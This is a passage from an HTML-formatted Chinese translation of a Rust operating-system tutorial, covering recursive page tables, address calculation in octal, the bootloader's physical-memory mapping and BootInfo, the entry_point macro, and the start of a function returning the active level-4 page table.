&lt;p&gt;另一种有趣的方法是根本不需要额外的页表，即&lt;strong&gt;映射页表的递归&lt;&#x2F;strong&gt;。这种方法背后思想是将一个条目从第4级页面表映射到第4级表本身。通过这样做，我们有效地保留了虚拟地址空间的一部分，并将所有当前和未来的页表框架映射到该空间。&lt;&#x2F;p&gt;
&lt;p&gt;让我们通过一个例子来了解这一切是如何进行的。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;recursive-page-table.png&quot; alt=&quot;一个4级页层次结构的例子，每个页表都显示在物理内存中。第4级页的条目511被映射到帧4KiB，即第4级表本身的帧。&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;与&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fang-wen-ye-biao&quot;&gt;本文开头的例子&lt;&#x2F;a&gt;的唯一区别是在4级表中的索引&lt;code&gt;511&lt;&#x2F;code&gt;处增加了一个条目，它被映射到物理帧&lt;code&gt;4 KiB&lt;&#x2F;code&gt;，即4级表本身的帧。&lt;&#x2F;p&gt;
&lt;p&gt;通过让CPU跟随这个条目进行翻译，它不会到达3级表，而是再次到达同一个4级表。这类似于一个调用自身的递归函数，因此这个表被称为 &lt;em&gt;递归页表&lt;&#x2F;em&gt; 。重要的是，CPU假定4级表的每个条目都指向3级表，所以它现在把4级表当作3级表。这是因为所有级别的表在x86_64上都有完全相同的布局。&lt;&#x2F;p&gt;
&lt;p&gt;在我们开始实际翻译之前，通过跟随递归条目一次或多次，我们可以有效地缩短CPU所穿越的层数。例如，如果我们跟随递归条目一次，然后进入第3级表，CPU会认为第3级表是第2级表。再往前走，它把第2级表当作第1级表，把第1级表当作映射的框架。这意味着我们现在可以读写第1级页表了，因为CPU认为它是映射的帧。下面的图形说明了这五个转换步骤。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;recursive-page-table-access-level-1.png&quot; alt=&quot;上述例子中的4级页面层次结构有5个箭头。从CR4到4级表的 “第0步”，从4级表到4级表的 “第1步”，从4级表到3级表的 “第2步”，从3级表到2级表的 “第3步”，以及从2级表到1级表的 “第4步”。&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;同样地，我们可以在开始翻译之前，先跟随递归条目两次，将遍历的层数减少到两个。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;recursive-page-table-access-level-2.png&quot; alt=&quot;同样的4级页面层次结构，有以下4个箭头。从CR4到4级表的 “第0步”，从4级表到4级表的 “第1&amp;amp;2步”，从4级表到3级表的 “第3步”，以及从3级表到2级表的 “第4步”。&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;让我们一步一步地看下去。首先，CPU跟踪4级表的递归条目，认为它到达了3级表。然后，它再次跟踪递归条目，认为它到达了2级表。但实际上，它仍然是在第4级表中。当CPU现在跟随一个不同的条目时，它到达了一个3级表，但认为它已经在1级表上。因此，当下一个条目指向第2级表时，CPU认为它指向了映射的框架，这使得我们能够读写第2级表。&lt;&#x2F;p&gt;
&lt;p&gt;访问第3级和第4级表的方法是一样的。为了访问第3级表，我们沿着递归条目走了三次，诱使CPU认为它已经在第1级表上了。然后我们跟随另一个条目，到达第3级表，CPU将其视为一个映射的框架。对于访问第4级表本身，我们只需跟随递归条目四次，直到CPU将第4级表本身视为映射的框架（在下面的图形中为蓝色）。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;recursive-page-table-access-level-3.png&quot; alt=&quot;同样的4级页面层次结构，有以下3个箭头。从CR4到4级表的 “步骤0”，从4级表到4级表的 “步骤1,2,3”，以及从4级表到3级表的 “步骤4”。蓝色的是替代的 “步骤1,2,3,4 “箭头，从4级表到4级表。&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;可能需要一些时间来理解这个概念，但在实践中效果相当好。&lt;&#x2F;p&gt;
&lt;p&gt;在下面的章节中，我们将解释如何构建虚拟地址，用于跟随递归条目一次或多次。在我们的实现中，我们不会使用递归分页，所以你不需要阅读它就可以继续阅读本帖。如果你感兴趣，只需点击  &lt;em&gt;“地址计算”&lt;&#x2F;em&gt;  来展开。&lt;&#x2F;p&gt;
&lt;hr &#x2F;&gt;
&lt;ul&gt;
&lt;li&gt;&lt;h4 id=&quot;di-zhi-ji-suan&quot;&gt;地址计算&lt;&#x2F;h4&gt;
&lt;p&gt;|我们看到，在实际翻译之前，我们可以通过跟随递归条目一次或多次访问所有级别的表。由于进入四级表的索引直接来自于虚拟地址，我们需要为这种技术构建特殊的虚拟地址。请记住，页表的索引是以如下方式从地址派生的。||
|&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;x86-64-table-indices-from-address.svg&quot; alt=&quot;第0-12位是页面偏移，第12-21位是1级索引，第21-30位是2级索引，第30-39位是3级索引，第39-48位是4级索引。&quot; &#x2F;&gt;||
|让我们假设我们想访问映射一个特定页面的第1级页面表。正如我们上面所学到的，这意味着我们必须在继续使用第4级、第3级和第2级索引之前，跟随递归条目一次。为了做到这一点，我们将地址的每个块向右移动一个块，并将原来的4级索引设置为递归条目的索引。||
|&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;table-indices-recursive-level-1.svg&quot; alt=&quot;第0-12位是1级表框的偏移量，第12-21位是2级索引，第21-30位是3级索引，第30-39位是4级索引，第39-48位是递归条目的索引&quot; &#x2F;&gt;||
|为了访问该页的第2级表，我们将每个索引块向右移动两个块，并将原第4级索引的块和原第3级索引都设置为递归条目的索引。||
|&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;table-indices-recursive-level-2.svg&quot; alt=&quot;第0-12位是2级表框的偏移量，第12-21位是3级索引，第21-30位是4级索引，第30-39位和第39-48位是递归条目的索引&quot; &#x2F;&gt;||
|访问第3级表的工作方式是将每个块向右移动三个块，并使用原第4级、第3级和第2级地址块的递归索引。||
|&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;table-indices-recursive-level-3.svg&quot; alt=&quot;第0-12位是第三级表框的偏移量，第12-21位是第四级索引，第21-30位、第30-39位和第39-48位是递归条目的索引。&quot; &#x2F;&gt;||
|最后，我们可以通过将每个区块向右移动四个区块，并对除偏移外的所有地址区块使用递归索引来访问第四级表。||
|&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;os-in-rust&#x2F;table-indices-recursive-level-4.svg&quot; alt=&quot;位0-12是l级表框的偏移量，位12-21、位21-30、位30-39和位39-48是递归条目的索引。&quot; &#x2F;&gt;||
|现在我们可以计算出所有四级页表的虚拟地址。我们甚至可以通过将索引乘以8（一个页表项的大小）来计算出一个精确指向特定页表项的地址。||
|下表总结了访问不同种类框架的地址结构。||&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Virtual Address for&lt;&#x2F;th&gt;&lt;th&gt;Address Structure ([octal])&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;Page&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;0o_SSSSSS_AAA_BBB_CCC_DDD_EEEE&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Level 1 Table Entry&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;0o_SSSSSS_RRR_AAA_BBB_CCC_DDDD&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Level 2 Table Entry&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;0o_SSSSSS_RRR_RRR_AAA_BBB_CCCC&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Level 3 Table Entry&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;0o_SSSSSS_RRR_RRR_RRR_AAA_BBBB&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;Level 4 Table Entry&lt;&#x2F;td&gt;&lt;td&gt;&lt;code&gt;0o_SSSSSS_RRR_RRR_RRR_RRR_AAAA&lt;&#x2F;code&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;而&lt;code&gt;AAA&lt;&#x2F;code&gt;是第4级索引，&lt;code&gt;BBB&lt;&#x2F;code&gt;是第3级索引，&lt;code&gt;CCC&lt;&#x2F;code&gt;是第2级索引，&lt;code&gt;DDD&lt;&#x2F;code&gt;是映射框架的第1级索引，&lt;code&gt;EEEE&lt;&#x2F;code&gt;是其中的偏移。&lt;code&gt;RRR&lt;&#x2F;code&gt;是递归条目的索引。当一个索引（三位数）被转换为一个偏移量（四位数）时，它是通过乘以8（页表项的大小）来完成。有了这个偏移量，产生的地址直接指向相应的页表项。
&lt;code&gt;SSSSSS&lt;&#x2F;code&gt;是符号扩展位，这意味着它们都是第47位的副本。这是对x86_64架构上有效地址的特殊要求。&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-introduction&#x2F;#paging-on-x86-64&quot;&gt;上篇文章&lt;&#x2F;a&gt;解释过。
我们使用&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Octal&quot;&gt;八进制&lt;&#x2F;a&gt;数字来表示地址，因为每个八进制字符代表三个比特，这使我们能够清楚地分开不同页表层的9比特索引。这在十六进制系统中是不可能的，每个字符代表四个比特。&lt;&#x2F;p&gt;
&lt;h5 id=&quot;link-zai-rustdai-ma-zhong&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#zai-rustdai-ma-zhong&quot;&gt;🔗&lt;&#x2F;a&gt;在Rust代码中&lt;&#x2F;h5&gt;
&lt;p&gt;为了在Rust代码中构建这样的地址，可以使用位操作。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; 你想访问其对应的页表的虚拟地址
let addr: usize = […];

let r = 0o777; &amp;#x2F;&amp;#x2F; 递归索引
let sign = 0o177777 &amp;lt;&amp;lt; 48; &amp;#x2F;&amp;#x2F; 符号扩展

&amp;#x2F;&amp;#x2F; 检索我们要翻译的地址的页表索引
let l4_idx = (addr &amp;gt;&amp;gt; 39) &amp;amp; 0o777; &amp;#x2F;&amp;#x2F; level 4 索引
let l3_idx = (addr &amp;gt;&amp;gt; 30) &amp;amp; 0o777; &amp;#x2F;&amp;#x2F; level 3 索引
let l2_idx = (addr &amp;gt;&amp;gt; 21) &amp;amp; 0o777; &amp;#x2F;&amp;#x2F; level 2 索引
let l1_idx = (addr &amp;gt;&amp;gt; 12) &amp;amp; 0o777; &amp;#x2F;&amp;#x2F; level 1 索引
let page_offset = addr &amp;amp; 0o7777;

&amp;#x2F;&amp;#x2F; 计算页表的地址
let level_4_table_addr =
    sign | (r &amp;lt;&amp;lt; 39) | (r &amp;lt;&amp;lt; 30) | (r &amp;lt;&amp;lt; 21) | (r &amp;lt;&amp;lt; 12);
let level_3_table_addr =
    sign | (r &amp;lt;&amp;lt; 39) | (r &amp;lt;&amp;lt; 30) | (r &amp;lt;&amp;lt; 21) | (l4_idx &amp;lt;&amp;lt; 12);
let level_2_table_addr =
    sign | (r &amp;lt;&amp;lt; 39) | (r &amp;lt;&amp;lt; 30) | (l4_idx &amp;lt;&amp;lt; 21) | (l3_idx &amp;lt;&amp;lt; 12);
let level_1_table_addr =
    sign | (r &amp;lt;&amp;lt; 39) | (l4_idx &amp;lt;&amp;lt; 30) | (l3_idx &amp;lt;&amp;lt; 21) | (l2_idx &amp;lt;&amp;lt; 12);
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;上面的代码假设索引为&lt;code&gt;0o777&lt;&#x2F;code&gt;（511）的最后一个4级条目是递归映射的。目前不是这样的，所以这段代码还不能工作。请看下面如何告诉bootloader来设置递归映射。
除了手工进行位操作外，你可以使用&lt;code&gt;x86_64&lt;&#x2F;code&gt;板块的
&lt;code&gt;递归页表&lt;&#x2F;code&gt;
类型，它为各种页表操作提供安全的抽象。例如，下面的代码显示了如何将一个虚拟地址转换为其映射的物理地址。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

use x86_64::structures::paging::{Mapper, Page, PageTable, RecursivePageTable};
use x86_64::{VirtAddr, PhysAddr};

&amp;#x2F;&amp;#x2F;&amp;#x2F; 从第4级地址创建一个RecursivePageTable实例。
let level_4_table_addr = […];
let level_4_table_ptr = level_4_table_addr as *mut PageTable;
let recursive_page_table = unsafe {
    let level_4_table = &amp;amp;mut *level_4_table_ptr;
    RecursivePageTable::new(level_4_table).unwrap();
}

&amp;#x2F;&amp;#x2F;&amp;#x2F; 检索给定虚拟地址的物理地址
let addr: u64 = […]
let addr = VirtAddr::new(addr);
let page: Page = Page::containing_address(addr);

&amp;#x2F;&amp;#x2F; 进行翻译
let frame = recursive_page_table.translate_page(page);
frame.map(|frame| frame.start_address() + u64::from(addr.page_offset()))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;同样，这个代码需要一个有效的递归映射。有了这样的映射，缺失的 &lt;code&gt;level_4_table_addr&lt;&#x2F;code&gt; 可以像第一个代码例子那样被计算出来。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;hr &#x2F;&gt;
&lt;p&gt;递归分页是一种有趣的技术，它显示了页表中的单个映射可以有多么强大。它比较容易实现，而且只需要少量的设置（只是一个单一的递归条目），所以它是第一次实验分页的一个好选择。&lt;&#x2F;p&gt;
&lt;p&gt;然而，它也有一些弊端:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;它占据了大量的虚拟内存（512 GiB）。在大的48位地址空间中，这不是一个大问题，但它可能会导致次优的缓存行为。&lt;&#x2F;li&gt;
&lt;li&gt;它只允许轻松访问当前活动的地址空间。通过改变递归条目，访问其他地址空间仍然是可能的，但切换回来时需要一个临时映射。我们在(已过期的)&lt;em&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;remap-the-kernel&#x2F;#overview&quot;&gt;Remap The Kernel&lt;&#x2F;a&gt;&lt;&#x2F;em&gt; 文章“地址空间 “中描述了如何做到这一点。&lt;&#x2F;li&gt;
&lt;li&gt;它在很大程度上依赖于x86的页表格式，在其他架构上可能无法工作。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h2 id=&quot;link-zhi-chi-yin-dao-qi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#zhi-chi-yin-dao-qi&quot;&gt;🔗&lt;&#x2F;a&gt;支持引导器&lt;&#x2F;h2&gt;
&lt;p&gt;所有这些方法的设置都需要对页表进行修改。例如，需要创建物理内存的映射，或者需要对4级表的一个条目进行递归映射。问题是，如果没有访问页表的现有方法，我们就无法创建这些所需的映射。&lt;&#x2F;p&gt;
&lt;p&gt;这意味着我们需要 bootloader 的帮助，bootloader 创建了内核运行的页表。Bootloader 可以访问页表，所以它可以创建内核需要的任何映射。在目前的实现中，“bootloader” 工具箱支持上述两种方法，通过 cargo&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;cargo&#x2F;reference&#x2F;features.html#the-features-section&quot;&gt;cargo features&lt;&#x2F;a&gt; 进行控制。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;map_physical_memory&lt;&#x2F;code&gt; 功能将某处完整的物理内存映射到虚拟地址空间。因此，内核可以访问所有的物理内存，并且可以遵循*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#ying-she-wan-zheng-de-wu-li-nei-cun&quot;&gt;映射完整物理内存&lt;&#x2F;a&gt;*的方法。&lt;&#x2F;li&gt;
&lt;li&gt;有了 “recursive_page_table” 功能，bootloader会递归地映射4级page table的一个条目。这允许内核访问页表，如*&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#di-gui-ye-biao&quot;&gt;递归页表&lt;&#x2F;a&gt;*部分所述。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;我们为我们的内核选择了第一种方法，因为它很简单，与平台无关，而且更强大（它还允许访问非页表框架）。为了启用所需的引导程序支持，我们在 “引导程序” 的依赖中加入了 “map_physical_memory“功能。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;toml&quot; class=&quot;language-toml &quot;&gt;&lt;code class=&quot;language-toml&quot; data-lang=&quot;toml&quot;&gt;[dependencies]
bootloader = { version = &amp;quot;0.9&amp;quot;, features = [&amp;quot;map_physical_memory&amp;quot;]}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;启用这个功能后，bootloader 将整个物理内存映射到一些未使用的虚拟地址范围。为了将虚拟地址范围传达给我们的内核，bootloader 传递了一个 &lt;em&gt;启动信息&lt;&#x2F;em&gt; 结构。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-qi-dong-xin-xi&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#qi-dong-xin-xi&quot;&gt;🔗&lt;&#x2F;a&gt;启动信息&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;code&gt;Bootloader&lt;&#x2F;code&gt; 板块定义了一个&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;BootInfo&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;结构，包含了它传递给我们内核的所有信息。这个结构还处于早期阶段，所以在更新到未来的 &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;doc.rust-lang.org&#x2F;stable&#x2F;cargo&#x2F;reference&#x2F;specifying-dependencies.html#caret-requirements&quot;&gt;semver-incompatible&lt;&#x2F;a&gt; bootloader 版本时，可能会出现一些故障。在启用 “map_physical_memory” 功能后，它目前有两个字段 “memory_map” 和 “physical_memory_offset”。&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;memory_map&lt;&#x2F;code&gt;字段包含了可用物理内存的概览。它告诉我们的内核，系统中有多少物理内存可用，哪些内存区域被保留给设备，如VGA硬件。内存图可以从BIOS或UEFI固件中查询，但只能在启动过程的早期查询。由于这个原因，它必须由引导程序提供，因为内核没有办法在以后检索到它。在这篇文章的后面我们将需要内存图。&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;physical_memory_offset&lt;&#x2F;code&gt;告诉我们物理内存映射的虚拟起始地址。通过把这个偏移量加到物理地址上，我们得到相应的虚拟地址。这使得我们可以从我们的内核中访问任意的物理内存。&lt;&#x2F;li&gt;
&lt;li&gt;这个物理内存偏移可以通过在Cargo.toml中添加一个&lt;code&gt;[package.metadata.bootloader]&lt;&#x2F;code&gt;表并设置&lt;code&gt;physical-memory-offset = &quot;0x0000f00000000000&quot;&lt;&#x2F;code&gt;（或任何其他值）来定制。然而，请注意，如果bootloader遇到物理地址值开始与偏移量以外的空间重叠，也就是说，它以前会映射到其他早期的物理地址的区域，就会出现恐慌。所以一般来说，这个值越高（&amp;gt;1 TiB）越好。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;Bootloader将 &lt;code&gt;BootInfo&lt;&#x2F;code&gt; 结构以 &lt;code&gt;&amp;amp;&#x27;static BootInfo&lt;&#x2F;code&gt;参数的形式传递给我们的内核，并传递给我们的&lt;code&gt;_start&lt;&#x2F;code&gt;函数。我们的函数中还没有声明这个参数，所以让我们添加它。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;main.rs

use bootloader::BootInfo;

#[unsafe(no_mangle)]
pub extern &amp;quot;C&amp;quot; fn _start(boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! { &amp;#x2F;&amp;#x2F; new argument
    […]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以前省去这个参数并不是什么问题，因为x86_64的调用惯例在CPU寄存器中传递第一个参数。因此，当这个参数没有被声明时，它被简单地忽略了。然而，如果我们不小心使用了一个错误的参数类型，那将是一个问题，因为编译器不知道我们入口点函数的正确类型签名。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-entry-point-hong&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#entry-point-hong&quot;&gt;🔗&lt;&#x2F;a&gt;&lt;code&gt;entry_point&lt;&#x2F;code&gt; 宏&lt;&#x2F;h3&gt;
&lt;p&gt;由于我们的&lt;code&gt;_start&lt;&#x2F;code&gt;函数是在外部从引导程序中调用的，所以没有对我们的函数签名进行检查。这意味着我们可以让它接受任意参数而不出现任何编译错误，但在运行时它会失败或导致未定义行为。&lt;&#x2F;p&gt;
&lt;p&gt;为了确保入口点函数总是具有引导程序所期望的正确签名，&lt;code&gt;bootloader&lt;&#x2F;code&gt;板块提供了一个&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;entry_point&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;p&gt;宏，它提供了一种类型检查的方法来定义一个Rust函数作为入口点。让我们重写我们的入口点函数来使用这个宏。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;main.rs

use bootloader::{BootInfo, entry_point};

entry_point!(kernel_main);

fn kernel_main(boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! {
    […]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;我们不再需要使用&lt;code&gt;extern &quot;C&quot;&lt;&#x2F;code&gt;或&lt;code&gt;no_mangle&lt;&#x2F;code&gt;作为我们的入口点，因为宏为我们定义了真正的低级&lt;code&gt;_start&lt;&#x2F;code&gt;入口点。&lt;code&gt;kernel_main&lt;&#x2F;code&gt;函数现在是一个完全正常的Rust函数，所以我们可以为它选择一个任意的名字。重要的是，它是经过类型检查的，所以当我们使用一个错误的函数签名时，例如增加一个参数或改变参数类型，就会发生编译错误。&lt;&#x2F;p&gt;
&lt;p&gt;让我们在我们的&lt;code&gt;lib.rs&lt;&#x2F;code&gt;中进行同样的修改。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;lib.rs

#[cfg(test)]
use bootloader::{entry_point, BootInfo};

#[cfg(test)]
entry_point!(test_kernel_main);

&amp;#x2F;&amp;#x2F;&amp;#x2F; Entry point for `cargo test`
#[cfg(test)]
fn test_kernel_main(_boot_info: &amp;amp;&amp;#x27;static BootInfo) -&amp;gt; ! {
    &amp;#x2F;&amp;#x2F; like before
    init();
    test_main();
    hlt_loop();
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;由于这个入口点只在测试模式下使用，我们在所有项目中添加了&lt;code&gt;#[cfg(test)]&lt;&#x2F;code&gt;属性。我们给我们的测试入口点一个独特的名字&lt;code&gt;test_kernel_main&lt;&#x2F;code&gt;，以避免与我们的&lt;code&gt;main.rs&lt;&#x2F;code&gt;的&lt;code&gt;kernel_main&lt;&#x2F;code&gt;混淆。我们现在不使用&lt;code&gt;BootInfo&lt;&#x2F;code&gt;参数，所以我们在参数名前加上&lt;code&gt;_&lt;&#x2F;code&gt;，以消除未使用变量的警告。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;link-shi-xian&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#shi-xian&quot;&gt;🔗&lt;&#x2F;a&gt;实现&lt;&#x2F;h2&gt;
&lt;p&gt;现在我们可以访问物理内存了，我们终于可以开始实现我们的页表代码了。首先，我们将看一下我们的内核目前运行的活动页表。第二步，我们将创建一个转换函数，返回一个给定的虚拟地址所映射到的物理地址。作为最后一步，我们将尝试修改页表，以便创建一个新的映射。&lt;&#x2F;p&gt;
&lt;p&gt;在我们开始之前，我们为我们的代码创建一个新的&lt;code&gt;memory&lt;&#x2F;code&gt;模块。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;lib.rs

pub mod memory;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;对于该模块，我们创建一个空的&lt;code&gt;src&#x2F;memory.rs&lt;&#x2F;code&gt;文件。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;link-fang-wen-ye-biao-1&quot;&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;zh-CN&#x2F;paging-implementation&#x2F;#fang-wen-ye-biao-1&quot;&gt;🔗&lt;&#x2F;a&gt;访问页表&lt;&#x2F;h3&gt;
&lt;p&gt;在&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;os.phil-opp.com&#x2F;paging-introduction&#x2F;#accessing-the-page-tables&quot;&gt;上一篇文章的结尾&lt;&#x2F;a&gt;，我们试图查看我们的内核运行的页表，但是由于我们无法访问&lt;code&gt;CR3&lt;&#x2F;code&gt;寄存器所指向的物理帧而失败了。我们现在可以通过创建一个&lt;code&gt;active_level_4_table&lt;&#x2F;code&gt;函数来继续，该函数返回对活动的4级页面表的引用。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;rust&quot; class=&quot;language-rust &quot;&gt;&lt;code class=&quot;language-rust&quot; data-lang=&quot;rust&quot;&gt;&amp;#x2F;&amp;#x2F; in src&amp;#x2F;memory.rs

use x86_64::{
    structures::paging::PageTable,
    VirtAddr,
};

&amp;#x2F;&amp;#x2F;&amp;#x2F; 返回一个对活动的4级表的可变引用。
&amp;#x2F;&amp;#x2F;&amp;#x2F;
&amp;#x2F;&amp;#x2F;&amp;#x2F; 这个函数是不安全的，因为调用者必须保证完整的物理内存在传递的
&amp;#x2F;&amp;#x2F;&amp;#x2F; `physical_memory_offset`处被映射到虚拟内存。另外，这个函数
&amp;#x2F;&amp;#x2F;&amp;#x2F; 必须只被调用一次，以避免别名&amp;quot;&amp;amp;mut &amp;quot;引用（这是未定义的行为）。
pub unsafe fn active_level_4_table(physical_memory_offset: VirtAddr)
    -&amp;gt; &amp;amp;&amp;#x27;static mut PageTable
{
    use x86_64::registers::control::Cr3;

    let (level_4_table_frame, _) = Cr3::read();

    let phys = level_4_table_frame.start_address();
    let virt = physical_memory_offset + phys.as_u64();
    let page_table_ptr: *mut PageTable = virt.as_mut_ptr();

    unsafe { &amp;amp;mut *page_table_ptr }
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
